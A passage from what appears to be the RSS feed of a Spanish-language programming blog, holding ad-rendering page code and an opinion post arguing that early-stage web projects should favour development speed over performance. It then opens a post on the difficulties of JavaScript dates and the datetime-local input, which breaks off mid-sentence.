!Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;A lo largo de esta odisea virtual, nos olvidamos por completo de lo que probablemente sea el único factor que importa: el aburrido mercado.&lt;/p&gt;&#xA;&lt;h2 id=&#34;que-tanto-importan-las-requests-per-second-al-iniciar&#34;&gt;¿Qué tanto importan las requests per second al iniciar?&lt;/h2&gt;&#xA;&lt;p&gt;Si tú, o tu empresa, no son un jugador de ligas mayores en internet, probablemente estás dándole más importancia de la necesaria al hecho de que tu aplicación sirva 1 petición por segundo en lugar de 100.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/opinion/dont-obsess-about-your-web-application-performance/images/techempower-benchmark.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/opinion/dont-obsess-about-your-web-application-performance/images/techempower-benchmark.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Peticiones por segundo, benchmark de techempower&#34; width=&#34;864&#34; height=&#34;531&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Algunos frameworks soportan 600k peticiones por segundo&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Sí, es cierto que estamos hablando de un factor de 100, pero considera lo siguiente:&lt;/p&gt;&#xA;&lt;p&gt;Una petición por segundo significa 60 en un minuto, 3600 en una hora y 86400 al día. ¿De verdad te preocupa que tu aplicación tenga un tráfico de 86400 peticiones en un día? Si ya tienes tal tráfico, pagarle a un desarrollador extra para que se encargue de ajustar los engranes de tu software no debería ser un problema, y si lo es, &lt;strong&gt;probablemente no tienes un problema de rendimiento, sino de monetización.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;No todos los proyectos requieren &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/rust/que-hace-al-lenguaje-rust-tan-dificil-de-aprender/&#34;&gt;que aprendas la complicada sintaxis de Rust.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;importa-el-consumo-de-memoria-en-una-nueva-aplicacion-web&#34;&gt;¿Importa el consumo de memoria en una nueva aplicación web?&lt;/h2&gt;&#xA;&lt;p&gt;Acaso importa que tu aplicación se ejecute con un consumo mínimo de memoria usando un lenguaje de bajo nivel, o con un consumo mayor usando un lenguaje de alto nivel. Yo diría que depende; si tu aplicación o proyecto es nuevo, probablemente valga la pena pagar unos dólares más al mes por memoria extra a cambio de una mayor velocidad de desarrollo en cada iteración.&lt;/p&gt;&#xA;&lt;p&gt;No digo que esté mal cuidar los aspectos técnicos, pero en este momento hay cosas más importantes, como el adquirir información que se traducirá en rentabilidad posteriormente, o destinar más recursos el marketing y la publicidad de tu startup o proyecto que en perder tiempo limando las asperezas de tu código.&lt;/p&gt;&#xA;&lt;p&gt;Optimizar para tener un buen SEO también es más importante que el consumo de memoria o la eficiencia de tu aplicación, creeme, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/seo/mis-errores-de-optimizacion-en-el-seo-tecnico-al-migrar-de-wordpress/&#34;&gt;aprendí la importancia del SEO a partir de mis propios errores.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/opinion/dont-obsess-about-your-web-application-performance/images/wordpress-meme.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/opinion/dont-obsess-about-your-web-application-performance/images/wordpress-meme.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Meme sobre wordpress vs una aplicación node&#34; width=&#34;800&#34; height=&#34;720&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;velocidad-de-desarrollo-vs-rendimiento&#34;&gt;Velocidad de desarrollo vs rendimiento&lt;/h2&gt;&#xA;&lt;p&gt;Para la mayoría de las startups o solopreneurs, el proceso de exploración del mercado será más importante que reducir el consumo de recursos. ¿De que te sirve reducir tu consumo de RAM y procesador a la mitad si tus iteraciones van a pasar de una semana a dos semanas y media?&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/opinion/dont-obsess-about-your-web-application-performance/images/rustaceans-vs-gophers.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/opinion/dont-obsess-about-your-web-application-performance/images/rustaceans-vs-gophers.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Meme sobre la diferencia de tiempo de compilacion entre Go y Rust&#34; width=&#34;800&#34; height=&#34;612&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;generalmente-suficientemente-rapido-es-rapido&#34;&gt;Generalmente suficientemente rápido es rápido&lt;/h3&gt;&#xA;&lt;p&gt;No elijas un lenguaje eficiente, sino uno que te permita ser flexible a los cambios y adaptarte rápido mientras obtienes información. En este caso, la velocidad de desarrollar nuevas características o modificar las existentes es mucho más importante que el rendimiento de estas.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Recuerda que &lt;strong&gt;en tecnología todo es un trade-off&lt;/strong&gt;, en este caso rendimiento por productividad.&lt;/p&gt;&#xA;&lt;p&gt;Asi mismo, manten presente, que esto también aplica al elegir las herramientas que conoces; &lt;strong&gt;quizás seas más rápido programando en un lenguaje de bajo nivel que ya domines, que en uno de alto nivel que no domines&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;A veces usar una &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/mi-experiencia-usando-n8n-y-mi-opinion/&#34;&gt;herramienta como n8n&lt;/a&gt;&#xA;&#xA;puede ser mejor que programar todo desde cero.&lt;/p&gt;&#xA;&lt;h3 id=&#34;manten-presente-la-deuda-tecnica&#34;&gt;Manten presente la deuda técnica&lt;/h3&gt;&#xA;&lt;p&gt;Otra cosa, cuando optimices en favor de la velocidad de desarrollo, no te olvides de considerar la deuda técnica, encuentra el punto de inflexión y pivotea hacia la escalabilidad.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/opinion/dont-obsess-about-your-web-application-performance/images/design-stamina-graph.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/opinion/dont-obsess-about-your-web-application-performance/images/design-stamina-graph.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Design stamina graph, donde se muestra el momento de pivoteo para tener una arquitectura escalable&#34; width=&#34;618&#34; height=&#34;329&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Créditos de la imagen a Martin Fowler&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;situaciones-donde-si-importa-el-rendimiento-y-la-seguridad&#34;&gt;Situaciones donde sí importa el rendimiento y la seguridad&lt;/h2&gt;&#xA;&lt;p&gt;¿Significa que deberías olvidarte de todos los demás lenguajes y tratar de implementar todas tus ideas en &lt;del&gt;javascript&lt;/del&gt; una herramienta escrita en un lenguaje mediocre solo por la velocidad de desarrollo?, no, creo que hay situaciones donde es crucial elegir lo más rápido, seguro y eficiente, como por ejemplo: para navegadores, motores de videojuegos o sistemas operativos (aunque este post es sobre aplicaciones web), aunque, nuevamente, no vas a diseñar un sistema operativo tú solo&amp;hellip; a menos de que quieras que tu OS sea el tercer templo de Jerusalen y quieras comunicarte con dios.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/opinion/dont-obsess-about-your-web-application-performance/images/temple-os.webp&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/opinion/dont-obsess-about-your-web-application-performance/images/temple-os.webp&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Meme de temple os, un sistema que supuestamente sería el tercer templo de Jerusalen y permitiría comunicarse con dios&#34; width=&#34;800&#34; height=&#34;881&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Usar un lenguaje de bajo nivel suele ser la decisión correcta para situaciones donde el rendimiento es crítico, no quieres servicios donde la vida o la salud de las personas estén en juego escritos en lenguajes de alto nivel, que suelen ser más flexibles en el tipado y más propensos a errores en tiempo de ejecución.&lt;/p&gt;&#xA;&lt;p&gt;También querrás rendimiento y seguridad en entornos donde trates con cosas aún más importantes que la vida de las personas, como aplicaciones relacionadas con el mercado financiero y donde se manejen cantidades importantes de dinero (es sarcasmo, por si acaso, los únicos que piensan así son la gente de Wall street).&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/opinion/dont-obsess-about-your-web-application-performance/images/gamestop-meme.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/opinion/dont-obsess-about-your-web-application-performance/images/gamestop-meme.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Meme de gamestop y un millonario enojado por las acciones de reddit&#34; width=&#34;720&#34; height=&#34;899&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;herramientas-to-get-shit-done&#34;&gt;Herramientas To Get Shit Done&lt;/h2&gt;&#xA;&lt;p&gt;Yo soy un defensor de evitar reinventar la rueda cada vez. Es bastante molesto tener que crear sistemas de autenticación, CRUDS, consultas a la base de datos una y otra vez, incluso aunque algunas comunidades, como la de Go, prefieran implementar todo desde cero y tengan fuertes sentimientos de aversión hacia la automatización (a pesar de dedicarse a la programación).&lt;/p&gt;&#xA;&lt;p&gt;Te dejo una lista de algunas de mis soluciones favoritas para ahorrarte todo el boilerplate y centrarte en lo importante, que si bien no poseen el mejor rendimiento, se centran en tener prototipos funcionales lo más pronto posible.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/opinion/programar-un-blog-o-usar-wordpress/&#34;&gt;Wordpress: porque ya tu sabe&amp;rsquo;&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Ruby on Rails: Framework maduro, con mucha trayectoria y fácil de usar&lt;/li&gt;&#xA;&lt;li&gt;AdonisJs: Javascript con ORM y autenticación incluida&lt;/li&gt;&#xA;&lt;li&gt;Coolify: &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coolify.io/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Coolify es una alternative a plataformas como Vercel/Netifly/Heroku&lt;/a&gt;&#xA;, pero open source y con licensia permisiva.&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/por-que-deberias-usar-django-framework/&#34;&gt;Django: por su facilidad de tener un MVP rápido&lt;/a&gt;&#xA;. Además, al ser un framework muy maduro, hay mucha información sobre &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;%28https://coffeebytes.dev/es/software-architecture/como-escalar-django-para-manejar-millones-de-vistas/%29&#34;&gt;como escalarlo para manejar hasta un millón de usuarios&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://pocketbase.io/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Pocketbase: Backend portátil hecho en Go, un solo binario, autenticación y CRUD&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Supabase: Otro backend portátil, pero en Javascript&lt;/li&gt;&#xA;&lt;li&gt;Appwrite: &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://appwrite.io/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Autenticación, base de datos, funciones, almacenamiento y mensajes&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/cookiecutter-django-para-configurar-y-hacer-deploy-en-django/&#34;&gt;Cookiecutter: plantillas para ahorrarte Boilerplate, el de Django es muy bueno&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://autostrada.dev/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Autoestrada: Autenticación, JWT, base de datos y más en Go&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Hugo: Generador de sitios estáticos, suficientemente rápido (aunque no tanto como su version en Rust, Zola)&lt;/li&gt;&#xA;&lt;li&gt;Herramientas no-code&lt;/li&gt;&#xA;&lt;li&gt;Daisy UI: Librería de componentes basada en Tailwindcss&lt;/li&gt;&#xA;&lt;li&gt;N8n: Herramienta de automatización&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;cuando-sea-momento-de-cuidar-el-rendimiento-hazlo&#34;&gt;Cuando sea momento de cuidar el rendimiento, hazlo&lt;/h2&gt;&#xA;&lt;p&gt;Una vez que el flujo de efectivo sea el suficiente, reescribe tu aplicación en un lenguaje de bajo nivel, deshazte del ORM y ejecuta tus consultas SQL de manera manual, implementa tus propias abstracciones en lugar de usar un framework, refactoriza tu app entera con un patrón de arquitectura más robusto y contrata especialistas que cuiden cada milisegundo extra en tus sistemas.&lt;/p&gt;&#xA;&lt;p&gt;Cuando llegue ese momento, espero que llegues al punto donde &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://discord.com/blog/why-discord-is-switching-from-go-to-rust&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;cambiar de un lenguaje como Go a Rust, como le pasó a Discord&lt;/a&gt;&#xA;, realmente marque la diferencia.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Esta entrada es para ti, que quieres independizarte de las empresas y estas buscando crear tus propios proyectos en el mundo del internet ¿Has pensado si de verdad importan tanto esos milisegundos de rendimiento extra que obtenemos al cambiar un proyecto a un lenguaje más verboso o si la búsqueda del framework más veloz realmente vale la pena?&lt;/p&gt;&#xA;&lt;p&gt;En el mundo de los programadores hay una obsesión por la velocidad y el rendimiento; queremos exprimir cada milisegundo posible al lenguaje y reducir el consumo de memoria al mínimo posible y escribir las queries en su versión más elegante que lleve al límite de la velocidad a nuestra base de datos y los sometemos al más riguroso análisis de &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/linux/la-notacion-big-para-analisis-algoritmico/&#34;&gt;rendimiento big O&lt;/a&gt;&#xA;.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Porqué Detesto datetime-local Y Las Fechas en Javascript</title>
      <link>https://coffeebytes.dev/es/javascript/porque-detesto-el-input-datetime-local-y-las-fechas-en-javascript/</link>
      <pubDate>Wed, 20 Mar 2024 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/javascript/porque-detesto-el-input-datetime-local-y-las-fechas-en-javascript/</guid>
      
      <category>javascript</category>
      
      <category>opinion</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Trabajar con Javascript es frustrante y, a veces, combinarlo con HTML resulta desesperante por su falta de coherencia interna, por si fuera poco, utilizarlo para el manejo de fechas, que requiere considerar el manejo de timezones, diferentes formas de representarlas y la sensibilidad requerida: segundos, minutos, milisegundos, etc. lo vuelve una tortura.&lt;/p&gt;&#xA;&lt;h2 id=&#34;javascript-maneja-las-fechas-de-manera-extrana&#34;&gt;Javascript maneja las fechas de manera extraña&lt;/h2&gt;&#xA;&lt;p&gt;Javascript usa los meses partiendo del índice 0 y los días del índice 1, dos objetos con la misma fecha son desiguales al compararlos con === (sí, ya sé que lo que se compara son los objetos y no las fechas), pero es justo el hecho de que no es intuitivo, al usuario del lenguaje no le interesan los objetos en memoria en si, sino lo que representan. Lenguajes como &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/javascript/python-vs-javascript-cual-es-el-mejor-para-ti/&#34;&gt;Python tiene mejores abstracciones que las que maneja Javascript.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/javascript/why-i-abhor-htmls-datetime-local-input-and-dates-management-in-javascript/images/date-javascript.webp&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/javascript/why-i-abhor-htmls-datetime-local-input-and-dates-management-in-javascript/images/date-javascript.webp&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;El manejo de fechas en Javascript no es intuitivo&#34; width=&#34;908&#34; height=&#34;522&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;El manejo de fechas en Javascript no es intuitivo&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;la-desconexion-entre-html-y-js&#34;&gt;La desconexión entre HTML y JS&lt;/h2&gt;&#xA;&lt;p&gt;En el caso de agendar un evento con fecha y hora, es tentador utilizar el input datetime-local nativo que ya provee HTML. Sin embargo, este campo por defecto requiere una fecha en formato &amp;ldquo;YYYY-MM-DDThh:mm&amp;rdquo;, mientras que javascript regresa las fechas en un objeto Date, que debes transformar a ISO 6801 &amp;ldquo;YYYY-MM-DDThh:mm.iiiZ&amp;rdquo;, donde la &amp;ldquo;i&amp;rdquo; son microsegundos (o a otro formato con una función propia).&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/javascript/why-i-abhor-htmls-datetime-local-input-and-dates-management-in-javascript/images/two-dates-javascript.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/javascript/why-i-abhor-htmls-datetime-local-input-and-dates-management-in-javascript/images/two-dates-javascript.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Dos objetos con la misma fecha en Javascript no son iguales&#34; width=&#34;479&#34; height=&#34;195&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Las abstracciones de las fechas en Javascript pueden confundir a sus usuarios&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Para realizar esta transformación, la manera más obvia es eliminar la letra &amp;ldquo;Z&amp;rdquo;, pero si intentas asignar esa fecha al input de tipo datetime-input, este le permitirá 